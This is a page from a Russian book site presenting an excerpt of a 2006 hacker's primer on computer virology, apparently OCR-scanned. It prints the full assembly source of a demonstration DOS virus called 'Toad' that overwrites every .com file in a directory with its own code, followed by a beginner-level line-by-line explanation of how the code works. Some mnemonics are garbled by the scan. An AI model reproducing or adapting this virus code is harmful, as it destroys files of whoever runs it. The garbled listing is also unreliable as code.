Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 11 12 13 14 15 16 < 17 > 18 19 20 21 22 23 .. 123 >> Следующая

рассмотрим основные шаги. В качестве примера я использую вирус Toad
(Жаба). Ниже приведен листинг этого демонстрационного вируса. Позже мы
обсудим каждый кусок в отдельности, так что не напрягайтесь, встретив
что-то незнакомое, code segment
assume cs:code,ds:code
org 100h
toad proc near
first_fly:
mov ah,4eh
47
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
find_fly:
хог сх.сх lea dx.comsig int 21 h jc wart_growth
open_fly:
mov ax,3d02h mov dx,9eh int 21 h
eat_fly:
xchg bx.ax mov ah,40h
mov cx.offset horny - offset first_fly lea dx,first_fly int 21h
stitch_up:
mov ah,3eh int 21 h mov ah,4fh jmp find_fly
wart_growth:
mov ah,09h mov dx.offset wart int 21 h
cya: int 20h
comslg db "*.com",0
wart db Поздравления! Вы заразили все COM-файлы в зтой',10,13 db
'директории вирусом Toad. Хорошего вам дня.', 10,13,'$' horny label near
48
ГЛАВА 2. Самовоспроизводство
toad endp code ends
end first_fly
Эй! Алле! Вы еще со мной? Этот исходный код я поделил на отдельные части.
Перед тем как мы приступим к объяснениям, запомните, что наш вирус
использует формат COM-файла. Он может иметь длину только в один сегмент
или в 65,536 байтов. Поначалу мы не будем беспокоиться об ограничении
размера. Но позже такие ограничения станут важным фактором в выборе
файлов для инфицирования.
Итак, присмотримся к вирусу Toad. Я думаю, вы уже подзабыли некоторые
хитрости Ассемблера, поэтому постараюсь напомнить их вам:
code segment
Директива "segment" определяет параметры для сегмента. В этом примере мы
определяем сегмент кода. Весь исполнительный код (плоть и кровь нашей
программы) находится внутри сегмента кода. Данный сегмент не обязательно
должен называться сегментом "кода". Он называется сегментом "кода" только
по соглашению, принятому среди программистов. Например, если мы
столкнемся с большой программой и она будет иметь множество разных
процедур внешних вызовов, то нам придется определять сегмент данных
отдельно от сегмента кода. Но поскольку наш кусочек кода очень маленький,
то два сегмента перемешаны.
assume cs:code,ds:code
Предполагаемая процедура лежит внутри сегмента" кода и соответствует
имени, которое мы дали сегменту. В этой программе мы заявляем, что
регистры сегментов кода и данных ассоциируются с сегментом "кода". Что
это означает? Мы устанавливаем параметры нашего COM-файла! Следуя
соглашению программистов, мы определяем, где и какие фрагменты будут
находиться в нашей программе и как они будут настроены. Чем являются
регистры cs и ds? Регистр сегмента кода будет содержать
49
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
стартовый адрес сегмента кода вашей программы. По сути, он говорит
компьютеру, где начинать искать наш исполнительный код.
Другим регистром, достойным упоминания, будет ip - командный указатель
(регистр указателя инструкций). Работой ip является хранение адреса
офсета следующей строки кода, который должен выполняться.
Вы хотите знать, что такое адрес офсета? Адрес офсета - это не настоящий
адрес строки в вашей программе, а скорее, расстояние от данной точки до
указанного адреса. Таким образом, регистр сегмента кода, добавленный к
командному указателю, даст вам следующую исполняемую строку в программе.
Регистр cs остается константой, тогда как ip высчитывает строки кода.
org 100h
Здесь мы имеем дело с памятью. Сейчас вы создаете СОМ-файлы, поэтому
директива org 100h должна следовать за директивой assume. Она говорит
компьютеру, что ваш СОМ-файл расположен по адресу 100 hex или 256 байтов.
Значение 100 hex является расстоянием - офсетом, который находится сразу
за PSP. Значение 100h помещается в ip и говорит компьютеру, откуда
начинать работу. PSP содержит информацию о вашей программе. Он создается
в том сегменте памяти, где загружена программа. Другими словами, PSP не
является постоянной структурой, которая сохраняется вместе с программой.
toad proc near
Хотя это необязательно, я включил сюда директиву процедуры - мне хочется
показать вам соглашение программистов по созданию программного кода.
Процедура является подпрограммой внутри сегмента кода. Более крупный
вирус содержит много процедур, вызываемых для выполнения определенных
задач. Мы назначаем процедуре имя и определяем ее как близкую (near).
Когда мы столкнемся с более крупными программами, которые имеют дело с
процедурами вызовов в разных сегментах, нам придется иметь дело с
дальними (far) процедурами. В данном случае я включил эту директиву для
того, чтобы вы узнавали ее в других примерах кода. first_fly:
50
ГЛАВА 2. Самовоспроизводство
mov ah,4eh
Вот мы и подошли непосредственно к телу вируса. Если вы посмотрите на
него в целом, то увидите, что я пометил различные подпрограммы в коде.
Метки должны быть описательными, чтобы вы понимали действия, выполняемые
этими частями кода. Наша первая подпрограмма названа first_fly (первая
муха). Она напоминает нам, что данная подпрограмма находит файл для
инфицирования. Метка позволяет программе прыгать к ней, если вам снова
Предыдущая << 1 .. 11 12 13 14 15 16 < 17 > 18 19 20 21 22 23 .. 123 >> Следующая